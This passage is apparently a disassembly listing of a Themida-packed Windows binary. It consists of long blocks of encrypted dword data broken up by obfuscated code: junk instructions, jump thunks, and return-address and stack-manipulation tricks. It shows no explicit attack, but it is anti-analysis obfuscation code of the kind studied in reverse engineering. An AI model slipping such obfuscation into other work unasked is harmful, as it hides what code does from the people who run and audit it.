0EAFFE682h, 9061CA1Eh, 4AA3E414h dd 811DF7A4h, 0A75F16D2h, 0C184336Bh, 0A867BC52h, 0C8426BF6h dd 0E685EF42h, 0E7943A46h, 0C1C2712Dh, 0D351C852h, 6BA72B19h dd 92BC8433h, 0BA048CC1h, 2A680EB6h, 316DA773h, 0A75F1682h dd 4EA3336Bh, 264FDAC4h dd 52C1C980h, 0E2608A0Ah, 0FA84255Ah, 0D37B32D8h, 5F162B19h dd 0F1AD67BCh, 97FA1666h, 0BDFFE683h, 0B956FB64h, 80923FE5h dd 4233FF0Dh, 52EDFBAAh, 102CA660h, 4CFB6411h, 60E052C1h dd 18AEE61Eh, 0ED257ABAh, 57FD26B1h, 2B19D3A0h, 84336BA7h dd 69A75F16h, 52C18635h, 0F2AC67BCh, 7B993E67h, 42D07D23h dd 52C1AD5Ch, 0DEFA3A7Ah, 0FFE6837Bh, 0F3AA50A9h, 0A72B19D3h dd 3D0F2469h, 2AB5E927h, 0B2038701h, 0ABB11430h, 86DFFFE6h dd 1605B41Dh, 0C10E855Fh, 0A6F81C71h, 0C34DF21Bh, 0A77E35DBh dd 0BC84336Bh, 82FD607Ch, 0CA23FFE6h, 0F42FE624h, 837DE085h dd 1454FFE6h, 0E68395F8h, 1F3BBBFFh, 0FFE683BCh, 822891EAh dd 0D31B7ACBh, 0F89F2B19h, 0F2AC67BCh, 0EB983E67h, 0CAD43D25h dd 25B0EE25h, 0C1E493FCh, 0A6F81C71h, 5878F21Bh, 919B9BD5h dd 0A79249EFh, 8519F76Bh, 0A168D1FAh, 3DA0BC2Ah, 63FFE683h dd 52C15B0Ah, 863569A7h, 55547E16h, 30EF984Eh, 0A7E69D43h dd 126A316Dh, 0BCBA79E8h, 0DA7FC72Bh, 0B0D9643Ah, 0A0BC530Ah dd 0FFE6833Dh, 257A0A63h, 0D525B0EEh, 0E68356B9h, 0BA237CFFh dd 5F165D14h, 0E88FF89Fh, 0AB3668A7h, 0BDE12E93h, 83AB1387h dd 8110FFE6h, 0F4002A74h, 0FFE6109Bh, 0E5F4379Eh, 51AE3DFFh dd 0F9A6DCC2h, 0E1F9841Ah, 0C6D83C91h, 0F86C123Bh, 0FFE5F491h dd 0ABC70797h, 0FFE5F448h, 8F6F156Eh, 0F44C4B77h, 29FFE5h dd 0DF65A46h, 39002972h, 0Ah, 267BBBD2h, 12AB5E9h, 6FA7A45Bh dd 0D43FA42Fh, 36DA3FCAh, 9C78DD68h, 0FF127702h, 62AF149Fh dd 0C34CB13Ch, 2AEB50DBh, 8E84E974h, 68528510h, 80198F8h dd 0F8A423E9h, 0B83A1FFh, 0B30DF4D3h ; --------------------------------------------------------------------------- mov cl, dh dec ebp ; START OF FUNCTION CHUNK FOR sub_5FA83B loc_600F1B: ; CODE XREF: sub_5FA83B+24F9j lea ecx, [ebp+801DB5Ah] mov dh, 7Ah mov [ebp+7FA1CD9h], ecx mov edi, [ebp+7FA1021h] mov dword ptr [ebp+7FA31ADh], 6EE0h jmp loc_600F4E ; END OF FUNCTION CHUNK FOR sub_5FA83B ; --------------------------------------------------------------------------- dw 3B69h dd 733714A4h, 6051E9DFh, 460F580h db 0A5h, 0DEh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5FA83B loc_600F4E: ; CODE XREF: sub_5FA83B+66FEj mov dword ptr [ebp+7FA2BD9h], 0 mov [ebp+7FA240Dh], ecx push dword ptr [ebp+7FA3391h] push 0 push ecx call sub_600F6F and [ecx-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_5FA83B ; =============== S U B R O U T I N E ======================================= sub_600F6F proc near ; CODE XREF: sub_5FA83B+672Cp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_600F6F endp ; --------------------------------------------------------------------------- db 0E7h ; --------------------------------------------------------------------------- fld qword ptr [ebx+ebx*8+72h] scasd cmp dword ptr [ecx-666A003Eh], 17h cli pop es xor [ebp+7FA31D1h], esi push 0 call dword ptr [ebp+7FA1019h] mov eax, eax jmp short loc_600FFA ; --------------------------------------------------------------------------- dd 0B1ED0C7Dh, 85CE3219h, 0FD8CFBF3h, 918B5298h, 9E6B7DBBh dd 9E302A4Eh, 632BB765h, 6725089h, 0BD957ACAh, 1850CF4Eh dd 0F63F8CFDh, 282F08F8h, 0B8322B28h, 0A15E2DADh, 0AE2E2EAEh dd 4BC085DDh, 2D95EA47h, 35A6F516h, 0ADDAD97Ch, 0BEBA6C47h dd 0D564D33Bh, 19A82460h ; --------------------------------------------------------------------------- stosd inc ebx loc_600FFA: ; CODE XREF: Themida_:00600F9Ej jmp loc_601017 ; --------------------------------------------------------------------------- db 19h dd offset dword_5267F4+3C1h dd 4 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_601017: ; CODE XREF: Themida_:loc_600FFAj jmp loc_601E44 ; --------------------------------------------------------------------------- push 801DDE4h jmp loc_58B334 ; --------------------------------------------------------------------------- push 801DF03h jmp loc_58B334 ; --------------------------------------------------------------------------- push 801DFD9h jmp loc_58B334 ; --------------------------------------------------------------------------- push 801E06Fh jmp loc_58B334 ; --------------------------------------------------------------------------- push 801E3E4h jmp loc_58B334 ; --------------------------------------------------------------------------- push 801E726h jmp loc_58B334 ; --------------------------------------------------------------------------- push 801E84Bh jmp loc_58B334 ; --------------------------------------------------------------------------- dw 4EC8h ; --------------------------------------------------------------------------- push eax sbb ch, [ebp-5Bh] stc retn ; --------------------------------------------------------------------------- dw 0FF16h dd 53BC699Fh, 0A968154Bh, 0D68BBFF5h, 447A24EDh, 0EB217D97h dd 96CCD23Eh, 3E742AE9h, 98FB176Fh, 0BE07E85Fh, 6AA7A158h dd 0CC44A934h, 832C8FABh, 15AFFE6h, 88016298h, 31B0EEC7h dd 0B821D0CDh, 7F93E828h, 5997A1Fh, 0E309EB5Fh, 0D42D07E0h dd 0E2B61D49h, 3FC007E0h, 0EA467E85h, 2DE4406Eh, 75000000h dd 858E96F3h, 0E020B019h, 0E68361C4h, 90368FFFh, 0B4AADCF8h dd 5FB807E0h, 0B441A8D4h, 0CA4B07E0h, 0C0D10910h, 76F406Eh dd 0 dd 90D6Dh, 6CA70600h, 2D57A732h, 95503A0Dh, 9643E9DEh dd 8AEB217Dh, 0B5D161FFh, 7E1031Bh, 0B7E36EC7h, 7E10250h dd 18A3FB1Ah, 0B43F5FB3h, 5AD6798h, 8CDE08A0h, 4176CFEEh dd 0E9A324CAh, 6F42AAE2h, 4D4840h, 0F3D90000h, 1E3ACA96h dd 7E09C50h, 3767AAFFh, 64EF4891h, 967FD414h, 0E8547D08h dd 7E09B85h, 4AD5C947h, 0E187E021h, 0E09B066Dh, 5E40D007h dd 46783D3h, 3207E09Bh, 0BEE034D9h, 0E7A1DA33h, 9F59DA3Fh dd 6EA76098h, 0D3FE40h, 0A78F0000h, 42A7326Ch, 0EA3FCFCFh dd 0B1EB7628h, 0BAEC6DA9h, 0FFA50EFFh, 920C076Ch, 0F171A207h dd 0C9F27D21h, 2FB62A60h, 39FFE6FEh, 0E18EC4DAh, 91E16C32h dd 808FD33Ch, 0AE0FB51Eh, 0D7C749DBh, 2ABA234Ch, 642DC0EAh dd 55890170h, 0A39D3BAFh, 0D0FA07E1h, 923308F0h, 0F740E6DBh dd 5BB90E9Eh, 0EA8FB843h, 0C2EB7628h, 0C7DDE1Ch, 65A8C454h dd 4B0FDDB7h, 40D62F2h, 77CC649Ah, 527B0698h, 0B03B63ADh dd 0DD34E187h, 0C3BC03C1h, 649F999Ah, 0B71C5h, 138B8B00h dd 0BCE230DDh, 623CD986h, 0E907F2Ch, 0B8E62BD8h, 0B2994E82h dd 5C093F5Fh, 3B0E6B8h, 0AE5B910Dh, 34033965h, 605DC0DCh dd 1D8307E8h, 346AA766h, 0DCC251FEh, 801EF74Ch, 0E826CCF5h dd 0A396F331h, 0E6832487h, 590819FFh, 0F498A04Bh, 61F15AB3h dd 0E0AA7745h, 0BA4AA307h, 63EEB065h, 9A94F713h, 69C207E0h dd 9BC75A00h, 7E09A34h, 0FC03BD3Eh, 406EA6C4h, 0DC62h dd 7CBCF300h, 0E682FD60h, 4955BFFFh, 2235AF08h, 1AA665DFh dd 6CA754FAh, 257A732h, 25EC910Dh, 1FC5EE79h, 74FF9F72h dd 0E718C148h, 0C94BA0FFh, 7B214AD5h, 0C95945CEh, 59FF9F74h dd 0E12E831Bh, 0A96A17BDh, 0C51A6AF5h, 0EC86404Dh, 90F33CC9h dd 69208127h, 0AD4B67F7h, 8A07E10Ch, 19BFDF35h, 92E777D0h dd 67901B83h, 672283C1h, 0F94D69F9h, 250FDDAAh, 0E64965A5h dd 0CFFED18h, 18E447B3h, 0B912FFEDh, 0A66BC050h, 0FC15C2F8h dd 18FC5F7Bh, 952AFFEDh, 4FB8217Dh, 9AE53891h, 49E82399h dd 0A52h, 0FC326CAAh, 0A5DBC34Fh, 4B811DF8h, 0F72D719Eh dd 0A1D7C74Ah, 42CFB86Dh, 9B79265Ch, 0F020CD03h, 48CB78AEh dd 0F9512056h, 0E8627ADDh, 8B42A807h, 0FE346AA7h, 0A6DCC251h dd 326CA7EFh, 0E34662A2h, 11FFE682h, 9E0013B8h, 0B144EA13h dd 47D7C74Ch, 6801EF2h, 2A6B6028h, 9AD87E3Ah, 82D7B8C1h dd 96A108Eh, 3450E080h, 7E13A32h, 6E62751h, 0CF047B29h dd 4A87E029h, 0A62E5EE6h, 2BE439B1h, 1D6CCD73h, 0C597B343h dd 0D1B61FEDh, 0B5D4ED78h, 0B1DB1BABh, 0F5892446h, 99050DE0h dd 8C168A30h, 1AB1A97Eh, 37DC31C1h, 2EB9E52Bh, 0FA08B7F4h dd 0CC35A9E1h, 0C5C98252h, 0F15ACF06h, 42CE23BBh, 2A8D15Ch dd 6CA4BE55h, 0B80BC932h, 9337A436h, 97CB958h, 96800000h dd 0ED25D208h, 47CE7BB1h, 9B742157h, 0F120CD03h, 8E4377ADh dd 0FC326CA5h, 0A3D9C54Fh, 4E841AF6h, 0F62C72A1h, 50B3CF27h dd 7607E862h, 6CA75910h, 0FB8EA732h, 4AB3EB29h, 2AC190BAh dd 0E9749504h, 58FAB43h, 5207E19Fh, 0FC8717FDh, 5E2D90ACh dd 0FA5307E1h, 49A2EB91h, 0F2AC64B9h, 9D010FBCh, 5E83E612h dd 1F8607E1h, 3507E16Eh, 3C7C0C54h, 0DEA4C612h, 0B7E06B33h dd 0EBCF973Dh, 0DE13D145h, 0D62F0FDAh, 712DE64Bh, 9C210EB3h dd 57F63199h, 8E6h, 689E0016h, 114757BBh, 0B7EDB164h, 6399050Ah dd 0D435BB6h, 0D63B24D9h, 2FE592C8h, 848C396Fh, 0DC37E41Ah dd 65BD8CC2h, 0E862E649h, 0EFA60C07h, 3ACA96F3h, 336BA5FAh dd 0D0CE43A8h, 0DB31C45h, 0E097DB99h, 9F720707h, 0DC0696FFh dd 21CB0188h, 3CCF75E9h, 0E8273BD7h, 99022BB6h, 425CB663h dd 74EE9EB7h, 0E29DC8E4h, 6AC307E0h, 6A244DDFh, 0DC3F5B9Bh dd 0D107E0E2h, 0AA06BAC3h, 28BDFEA8h, 32CB7E7h, 0CB47F49Ah dd 0C2299DD3h, 0D807E0A2h, 622B2B4h, 7E0A2C7h, 0CE669CF5h dd 0DBE898A4h, 9C4225EEh, 0D33F23EFh, 0ABD762CBh, 7E1203Ch dd 5236F019h, 0FBA8DEC0h, 0E1446017h, 0F07E11Eh, 9D0111B6h dd 0F580E912h, 0E11FB2C9h, 0BA0F4F07h, 59BE4955h, 0EA7AE3BBh dd 0E11F6BCEh, 9A409907h, 977B5F19h, 7D4D7707h, 98C0C0D5h dd 0CF306E14h, 0F713A3BDh, 7E09291h, 7FD464BDh, 547D0896h dd 0F1EF1BAEh, 0A97C41F6h, 2F676E28h, 0CDAC0FF6h, 1AFh dd 0A967BC5Eh, 16CCD3E4h, 0B11A22C6h, 81DFAA0Bh, 4137D5F1h dd 0BF1407E1h, 92783954h, 60F00CBBh, 730851F7h, 4C75009Eh dd 0A9346AA7h, 32871780h, 0DA87BDE1h, 80D56539h, 0D6690F8Fh dd 0ACE13186h, 66FE8ABBh, 0AB51BAACh, 27513237h, 510B448Fh dd 0C2F8A66Dh, 15A0FE15h, 0A0D690FCh, 0F7821CF3h, 0DAF68192h dd 80A30C77h, 9E011D9Dh, 0C480A30Ch, 6399026Bh, 0FD98A1CBh dd 8DFC39DBh, 0EA7529E8h, 0A56E1BC1h, 0F553B6D2h, 288180A2h dd 35DA2FBFh, 504EC469h, 63F69CC5h, 2DABA237h, 0E19BD4F3h dd 528816FDh, 0F4AA65BAh, 35DBC34Fh, 88138B88h, 0B3431D6Fh dd 49F45773h, 0C922F21Dh, 0F64B8B23h, 6ADE841Ah, 0F21D4A07h dd 0F19ED42Dh, 0D1CD4220h, 0C8C4DD68h, 93F20E9Eh, 0B1F21D4Ah dd 9E752258h, 0AC514DC4h, 45D03965h, 0E26D31E0h, 0CE61050h dd 0B3EB2423h, 0F2609E39h, 2D11CB4Ch, 0D582B8E6h, 0AEF0243Eh dd 691FA23h, 0B2B061B6h, 8AB33E60h, 721A7B21h, 0E94460F0h dd 0C8F21D59h, 2852109Eh, 29B4EAh, 48DFF486h, 700059A2h dd 3ADC046h, 0EC924D3Eh, 8C1201AEh, 2A749C01h, 6A244D9Fh dd 0D697719Bh, 0C88174DAh, 9E7522h, 33DD32CAh, 0FB18C56Bh dd 2F65EC92h, 57C0B16Ch, 87D9B3CCh, 1E6FA2F7h, 0B7FDD0BAh dd 17A20B95h, 94B048EEh, 0F21C8F3Dh, 306EA7FCh, 0B2E8418Ah dd 144EC51Ah, 0ED16A1FDh, 0DF31DE84h, 35DA2FBFh, 0FB5DE69h dd 3729637Ch, 8F388BA7h, 0CF0FF21Ch, 1C8F50B3h, 771D76F2h dd 79FD52Eh, 0B03B63B2h, 0A72AE187h, 8519F66Ch, 1AEDC0FAh dd 334EDF30h, 0CA2B61CAh, 0D111A1BFh, 0E74852B5h, 812780FFh dd 72BBCDE9h, 67E707E1h, 0E171E84Bh, 10B50E07h, 0A4349D01h dd 74030F64h, 0E171F558h, 59C21B07h, 52FFA5CEh, 12AAE0BEh dd 0B2EB6FE8h, 0AB654A4Dh, 37E48AF3h, 38A7B4D9h, 0C50F71EAh dd 0D1B8D15Ch, 95BFFF8Fh, 0AD4E800Bh, 0E75B01D6h, 0FDB015Dh dd 60A03089h, 2B97070Bh, 0FFE700C8h, 5CEF95EEh, 0E710C930h dd 0B6AADFFFh, 54C0A26h, 217A07E1h, 0B4D93C91h, 39B90C76h dd 99248DC2h, 20CDF670h, 88F33410h, 29EA4FE2h, 1A18B775h dd 0F02B9E66h, 57151h, 138B8B00h, 0BCE230DDh, 623CD986h dd 0E907F2Ch, 0B8E62BD8h, 0B2994E82h, 5C093F5Fh, 3B0E6B8h dd 0AE5B910Dh, 34033965h, 665DC0DCh, 1D8307E8h, 0CA96F366h dd 0B7A41E3Ah, 9EF307E0h, 38812777h, 71254FDFh, 5EDFB470h dd 0CEFA8D33h, 7E15868h, 8A85DA72h, 0DC6737D8h, 96BF4AB3h dd 5887EA06h, 54AD07E1h, 6C732DAEh, 406F6034h, 0E7D2h dd 7CBC6300h, 0E682FD60h, 50CA23FFh, 0F7A07A5Dh, 31A54B2Bh dd 0FFE725FAh, 251A7D99h, 0B348FFE7h, 6BD43D61h, 385494DCh dd 0FFE725D5h, 0FC5F7BFBh, 2AFFE724h, 15C268D1h, 96AA0FEh dd 2B73A084h, 0C6D83BA0h, 40A9123Bh, 253994B0h, 0E767FFE7h dd 0E72568CBh, 0B5E92AFFh, 27B21B74h, 174D51C2h, 0BA55D7B6h dd 0ABEB7BE4h dd 0A0BCBB56h, 0FFE7253Dh, 16A10A63h, 78D347EDh, 8EFFE725h dd 55AAA35h, 41EE940Ah, 3596CCD2h, 5F3FD458h, 0FE1166F6h dd 24FA5D79h, 0CF28FFE7h, 0C28C066h, 0FFE725C5h, 0E30F9AF3h dd 0FFE7657Ch, 8DA9CE46h, 0FFE7652Ah, 0B96FF58h, 0A5306EA6h dd 0B159134Ch, 2DFCB6DFh, 0BF6539D8h, 0A9392F5Eh, 0E765468Dh dd 0C9E525FFh, 0FFE76566h, 87A3338Ch, 0FFE76524h, 0A53F952h dd 93947BB1h, 2D000000h, 3ACA96F3h, 0E098601Eh, 9A257E07h dd 2FBFDF35h, 0DC6737DAh, 6ECF0DB3h, 9EBA4A20h, 7E0973Fh dd 4D79045Dh, 7E096E5h, 9BA25CDDh, 307A7663h, 5D01h, 9BF39200h dd 0B61935C5h, 0DCFFE683h, 68A8F883h, 0E682E94Ch, 18BE17FFh dd 0BFF5A96Bh, 0AA3A305Eh, 8D00156Ah, 6B5A3F17h, 0CB56BF2Fh dd 7188FCA2h, 1FFFE728h, 0A80F3BC6h, 45FFE768h, 625FDB05h dd 4768F3A2h, 0CE6620A1h, 0FE1AAAC0h, 0FFE762E7h, 0CC0C9CF5h dd 0E7624DB0h, 741A73FFh, 7CBC7F36h, 0E682FD60h, 51BEEAFFh dd 54E10001h, 6714BA13h, 1767F2ACh, 0DA58BBD7h, 257EFFE6h dd 5D41D27Fh, 61C3C627h, 3D61B1B1h, 0BDE12FD4h, 6884C454h dd 0FFE6DA05h, 2579962Bh, 6208719Ah, 514AECAh, 59B207E1h dd 0FDA174C9h, 3198C457h, 3B07E100h, 0F13100BAh, 0E10072D5h dd 0CD47A007h, 0EF2BE9E8h, 0CD9D43B0h, 406EB295h, 0BD203C7Ch dd 0E307E0A2h, 70D9C54Eh, 34E9CAh, 0F37A0000h, 1E3ACA96h dd 7E09C50h, 0F86AAAFFh, 0CEF7821Ch, 1D76BF65h, 9AFF6692h dd 710907E0h, 9BB21531h, 87E007E0h, 9FA660E1h, 406EA767h dd 10A05h, 6CA79600h, 0CF42A732h, 0DDF97E93h, 0FFE6837Ah dd 5BE64FA8h, 0F8831BF6h, 72FD66CFh, 1C71060Dh, 0F31CA7F7h dd 0E6832487h, 90F952FFh, 0B360B505h, 7B9845EBh, 0F279ED23h dd 91FFE687h, 3DC8D63Ch, 0DC6737D8h, 0F7A44AB3h, 9F4C821Ch dd 459A2A74h, 9528CED0h, 0C3530D7Ch, 7B475983h, 0BF1F6B8Ah dd 2DBFA519h, 92EB07E1h, 3C62AD02h, 0A4E288B1h, 4DB0CC0Ch dd 7307E103h, 0FE6737DEh, 0CE92F758h, 0E646223Eh, 0CB600FDDh dd 71DA544Ah, 7FA8B45Eh, 0AE0393FCh, 0FB933965h, 0FD336BA6h dd 1FDDC150h, 999A8586h, 2FAF4E89h, 0CD000002h, 721F5549h dd 1BC8FEA0h, 0C16EA4FAh, 6D1A504Eh, 90C4FAA4h, 811DF4DBh dd 28769E4Bh, 0D3CB45F2h, 7B23F09Dh, 21E7645h, 7E86A9Fh dd 0BCA85FC5h, 82FD607Ch, 0CA23FFE6h, 0DD9A7724h, 0E6835EC1h dd 0C22B84FFh, 0EBCAF48Ch, 847E2E12h, 98237B96h, 0B360066Fh dd 59AE3E60h, 2E57E2BCh, 0F3934A88h, 1E3ACA96h, 7E09C50h dd 3B65F54Eh, 0AA5F4F1Ch, 58BBD767h, 7E07E161h, 0FD17BC25h dd 3C68FBA1h, 7E161D5h, 0D5A45EDFh, 660C9280h, 6F6D5E96h dd 0D5FC40h, 0A78D0000h, 821CF66Ch, 0DA65CEF7h, 77029C75h dd 0E687C44Bh, 19858EFFh, 2BC25F89h, 0D58C8105h, 0CF44F12Fh dd 5E2B44CFh, 0E64F4FC6h, 52C11656h, 4C32A64Ch, 2B07E09Bh dd 207E96EBh, 9D006C95h, 0C307E09Ah, 544AC56Ah, 0B1FAA0C9h dd 4A8A2258h, 0E09ACB2Eh, 1F7F9507h, 952A6B94h, 7099247Ah dd 89006107h, 0F02B47D7h, 0D60FDD79h, 91ADED7Dh, 0FFED4B2Eh dd 0BD55FB54h, 5CB9A968h, 258EB742h, 0CFCF42EFh, 9ABB8A11h dd 97367199h, 10Ah, 447A24F2h, 0ED237B97h, 93C9D540h, 3F7529E6h dd 0E91F7F92h, 0FA1700B5h, 53C16EA4h, 0A868154Bh, 13C0F6h dd 4199689Eh, 0E86BC225h, 0D38AF007h, 0FE346AA7h, 4CDCC251h dd 0F09CAD22h, 0D0765522h, 70A5FA92h, 0A7D1882Eh, 1E1216Ch dd 4CDEC24h, 0DB048F0Fh, 197E0972h, 0BF14A4FAh, 66A44A54h dd 69879CEh, 4BAC527Bh, 7692223Eh, 7E8A2CDh, 89EC0848h dd 0B707E822h, 166FB85Eh, 0B1ED268Bh, 5945CE7Bh, 0A6D89C9h dd 3807E822h, 7AA639DFh, 62528190h, 3C0BC5FEh, 0F95CE112h dd 0D2FB8618h, 1869C458h, 71FCA273h, 1EF5A248h, 769D4A80h dd 0CC439828h, 34992CD2h, 0A638C3DBh, 34DFC37Dh, 63C42743h dd 0EAB95252h, 0E2162DF6h, 2BD0296Ah, 42DB8E6h, 78CD659Bh dd 0B15E049Ah, 8E100062h, 0DB7FE2FEh, 4CA55251h, 0F71353E3h dd 5251DB94h, 30C369C2h, 1191h, 0E61F4900h, 0EED52974h dd 0BBCC8329h, 0B5E9267Bh, 6FA7580Fh, 0D43FA42Fh, 36DA3FCAh dd 9C78DD68h, 0FF127702h, 62AF149Fh, 0C34CB13Ch, 2AEB50DBh dd 8E84E974h, 68528510h, 5F84h, 24048F54h, 4240483h, 81E68956h dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 0AB68241Ch, 89000003h dd 68552414h, 2DB3C27h, 0E5C14D5Dh, 21B95108h, 12CC5B6h dd 0EB8959CDh, 663B685Dh, 24890000h, 24048124h, 4, 7FF8685Ah dd 4890000h, 8B824h, 0D0010000h, 0FF581889h, 815A2434h dd 4C4h, 2434FF00h, 4C4815Bh, 0E9000000h, 0FFF894FCh, 5C339578h dd 0FF42A668h, 0B64D66D2h ; --------------------------------------------------------------------------- loc_601E44: ; CODE XREF: Themida_:loc_601017j mov eax, 801E97Ah add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0B2h, 30h, 0A6h dd 0C7414E77h, 48355643h, 0B1047F3Ch, 0D9FC966h, 6A38CC5Fh dd 2A4F5207h, 0F3D83775h, 0B78FF15Eh, 3E482435h, 0E90E2B39h dd 0B3C41E0Ch, 7A2BF860h, 74C1E078h, 7969B04Ah, 47AFE631h dd 354A610Eh, 4B813D4Fh, 0C1C01006h, 0D2563F62h, 58BC2A55h dd 21C0B77Ah, 0EE80Ch, 0A5720000h, 823AC63Ch, 0AF39C932h dd 1DAB0340h, 0F5E6160h, 0C681DBB7h, 0DCC4h, 168C0Fh, 11E90000h dd 36000000h, 0F75116A1h, 0D6963EDCh, 0C6B190A6h, 4694A05h dd 8B66D22Bh, 3234FFDAh, 6D12B966h, 0C7BF0F5Fh, 9523C781h dd 0DB810AF2h, 1D2A12C5h, 8644EF81h, 8B666152h, 51EF81DAh dd 53646AD4h, 8959C28Ah, 11E8163Ch, 8D000000h, 881A20FCh dd 48052C30h, 0AB6B584Dh, 59152925h, 58C88B66h, 81C8B70Fh dd 178152EAh, 0DBBF0F05h, 814EC281h, 0FE80517h, 0FE000000h dd 0AFE35BB2h, 9CA98B4Ah, 83A94881h, 0D8806CD3h, 0FA8158BFh dd 0FFFF2428h, 1D850Fh, 8C0F0000h, 3, 0E9DBBF0Fh, 2Ah dd 98EF721Bh, 0AC0999B4h, 739CB39Fh, 0B074BC12h, 0FF5FE91Ch dd 28D3FFFFh, 0AED0ACACh, 5F292FAFh, 3347BB1h, 5910E73Fh dd 2EE9C2A4h, 5B000000h, 26659Dh, 0Ah dup(0) dd 50EE900h, 0DE380000h, 35DD8AC0h, 8F863369h, 0E32CD90Fh dd 39D885BBh, 46FB2F65h, 0B4EAB45Dh, 5B910D07h, 63C62AEh dd 0AEE4BA59h, 86B87DFh, 2E07E86Eh, 6CA711C8h, 0CF42A732h dd 27EC99CFh, 7E92E777h, 97E77A20h, 0EF14AC6Dh, 0B55BC307h dd 0BE570B08h, 9C2C55E0h, 0E6BC1D80h, 81EA43FFh, 1D8191F6h dd 0CE314D8Dh, 0F4FFE6BCh, 962F59Bh, 0E13216D0h, 0BC177A96h dd 0A83DFFE6h, 80A9346Ah, 0CB78AE17h, 0AAF41D45h, 48F0F05h dd 8F3C72DBh, 2D921D81h, 0C72CB7E7h, 63C8534Bh, 3C62B0B2h dd 0CDF648D3h, 70996B13h, 8292E7B6h, 0C268911Ch, 6DA3FB15h dd 6A13ABD5h, 74CD5C56h, 1E98019Dh, 2E62561Fh, 2FDC82F2h dd 7977EE4h, 5FEA537Ch, 0E6EBCD33h, 0D18BFCFFh, 74F792CAh dd 673038h, 0A7C10000h, 78A2326Ch, 3E1D5ADAh, 59EC9279h dd 0E772C82Dh, 1F7F92FFh, 7EE42F94h, 16A10A94h, 670FC9FAh dd 0F7FEB829h, 38757EBFh, 15Dh, 6BA7EE00h, 0CF43A833h dd 30DF44CFh, 829EDE6Eh, 0FFE6831Fh, 0B346EC45h, 8367215Ah dd 2A7F0F8Fh, 52EB9E5h, 9F74215Fh, 44456FFFh, 79B487E9h dd 0F2AC6308h, 5A983E67h, 346AA7A3h, 0D0CE44A9h, 8CE12945h dd 67901B83h, 0A28640C1h, 4A9F2F6Fh, 0F230D6C8h, 45D0CE45h dd 0E52D35E0h, 0A0C550B9h, 3F9EC808h, 6F288272h, 68AD107Ch dd 69D3FFE7h, 0D0458302h, 15BB24F3h, 8BD3DA94h, 293874F3h dd 6Ch, 346AA7BAh, 0CDD144A9h, 0F85133Dh, 1064F8C8h, 8D339C02h dd 0AE68A1FAh, 0C75747CAh, 76019D72h, 37A0FE11h, 6BA65391h dd 0CC43A833h, 0A12247D2h, 6498E0E7h, 5B363875h, 0C7000000h dd 0A9346AA7h, 47D2CC44h, 5D5C31E2h, 53E6A0BAh, 0E146D13Ah dd 7FE46F2Fh, 45860A94h, 75FE38Bh, 4D48ABC7h, 156EFFE7h dd 5034EE6Fh, 0F0A7DDC1h, 0C40D92BCh, 3BCFE750h, 742AE895h dd 0C957BDE9h, 0FE86FFE6h, 0C93FA2BEh, 0C65FFE6h, 242BE566h dd 3874D4ECh, 18Ah, 6EA71B00h, 4976A030h, 12028C10h, 0CD1DB056h dd 6CC329A3h, 3DE3EC8Fh, 901B8390h, 371BD5FEh, 0D9184DEh dd 0BAF05982h, 0A0303059h, 32D8C64Bh, 0FD207E9Ah, 0E53E07E0h dd 801EF55Ah, 0EC769D4Ah, 810C7529h, 0E0F6F055h, 4383DB07h dd 0E0F7C427h, 0F399F207h, 3FD4B872h, 5191295Fh, 0E0F7D235h dd 0A76B0007h, 0DA436CF7h, 0F7CB2E4Ah, 0A0F907E0h, 0D8C64DFAh dd 732BE84Dh, 0E19BCCE8h, 528816FDh, 6F034A82h, 12AE840h dd 0F3790000h, 1E3ACA96h, 7E0B8C8h, 8DF27DD6h, 4AE21886h dd 0B88BEE0Ah, 4E6A07E0h, 7E0B7EBh, 267FC019h, 5E40D380h dd 0F9A56ED3h, 6721526Eh, 0CBE79083h, 7E0B868h, 3CCC358Eh dd 0B87DE0FCh, 4AA307E0h, 8ECE66A4h, 59C5D939h, 7E0B7F6h dd 4D1DC31Ch, 406EC415h, 346AA7FCh, 40AD8Eh, 1D5D0000h dd 0E0AC9E01h, 0C56BC407h, 0C69AF30Eh, 83971A36h, 0E43D7FE6h dd 82CA2D59h, 7EA77FE6h, 0E0612CC4h, 0E68261C4h, 0CD368F7Fh dd 829E213Dh, 0EB44FFE6h, 49C81DB5h, 0FBA1CA55h, 8B14h dd 96F3AD00h, 0BAFA3ACAh, 0E6833B9Eh, 6A1069FFh, 0E09A8CF6h dd 85DA5A07h, 40A30F8Fh, 6607E099h, 0B419A40Dh, 71093F5Fh dd 1AA5F91Ch, 759E4BF1h, 0FA6F9929h, 40B13DE5h, 7CCC5F05h dd 20B0EE27h, 0E13AA104h, 0D076CF07h, 0E13AF45Ch, 0B46EAF07h dd 255B43D0h, 8487638Dh, 62450ECAh, 0BF4A54BDh, 0FA8FF096h dd 0B1BAD666h, 330FE329h, 29EA4FDAh, 2F58EA75h, 0B4ACDD75h dd 2240CF24h, 0FC25B0EEh, 3955ED93h, 17E3BF30h, 70275DB6h dd 0F4AA67BCh, 399A4069h, 40801050h, 0D63929EBh, 45B95FC8h dd 7E86E3Ch, 2186116Ah, 0C976ACF2h, 9DC9544Ah, 364CDA89h dd 0E6CA84BDh, 0A33B712Dh, 9E44763h, 0B912264Ch, 0F1AD6613h dd 900E0166h, 3569AB00h, 48DB81AAh, 0EFD38DB6h, 0CDD13E24h dd 7AB01942h, 62A2B8E2h, 77E623E5h, 467803FDh, 781E1CCAh dd 0CB5648CBh, 0B0EE267Bh, 0D98060Bh, 3573EE4h, 0F0000000h dd 6FA75CBBh, 0D43FA42Fh, 36DA3FCAh, 9C78DD68h, 0FF127702h dd 62AF149Fh, 0C34CB13Ch, 2AEB50DBh, 8E84E974h, 52528510h dd 0B850E289h, 66FE51D2h, 1AE3205h, 58C20199h, 8704EA83h dd 505C2414h, 405E089h, 2D000000h, 4, 5C240487h ; --------------------------------------------------------------------------- mov [esp], ebx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax mov ebx, 186E726Fh shr ebx, 6 push eax mov eax, 39F81055h or ebx, eax pop eax shr ebx, 8 sub ebx, 0F8380E28h push 1FE7h mov [esp], esp add dword ptr [esp], 4 pop eax push ebp push ebx sub dword ptr [esp], 37037132h pop ebp add ebp, 37037132h mov [eax+8], ebp pop ebp push dword ptr [esp] pop eax add esp, 4 push dword ptr [esp] pop ebx add 